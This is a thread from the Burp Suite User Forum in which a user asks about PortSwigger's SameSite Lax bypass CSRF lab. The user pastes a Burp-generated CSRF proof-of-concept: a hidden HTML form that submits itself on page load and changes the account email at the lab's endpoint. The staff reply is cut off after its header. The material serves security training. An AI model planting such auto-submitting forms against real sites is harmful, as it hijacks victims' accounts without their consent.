Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Problem about CSRF lab: SameSite Lax bypass via method override

Manilox | Last updated: Apr 16, 2023 11:05AM UTC

url of the lab:https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-lax-bypass-via-method-override For some reason default Chromes' behaviour of applying SameSite=Lax to the cookie when no explicit option is set by the server is not working. I am able to change the mail just by using a normal POST request payload such as: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a12007a040880e7806e6229000c005b.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hello&#64;gmail&#46;com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Michelle, PortSwigger Agent | Last updated: Apr 17, 2023 01:25PM UTC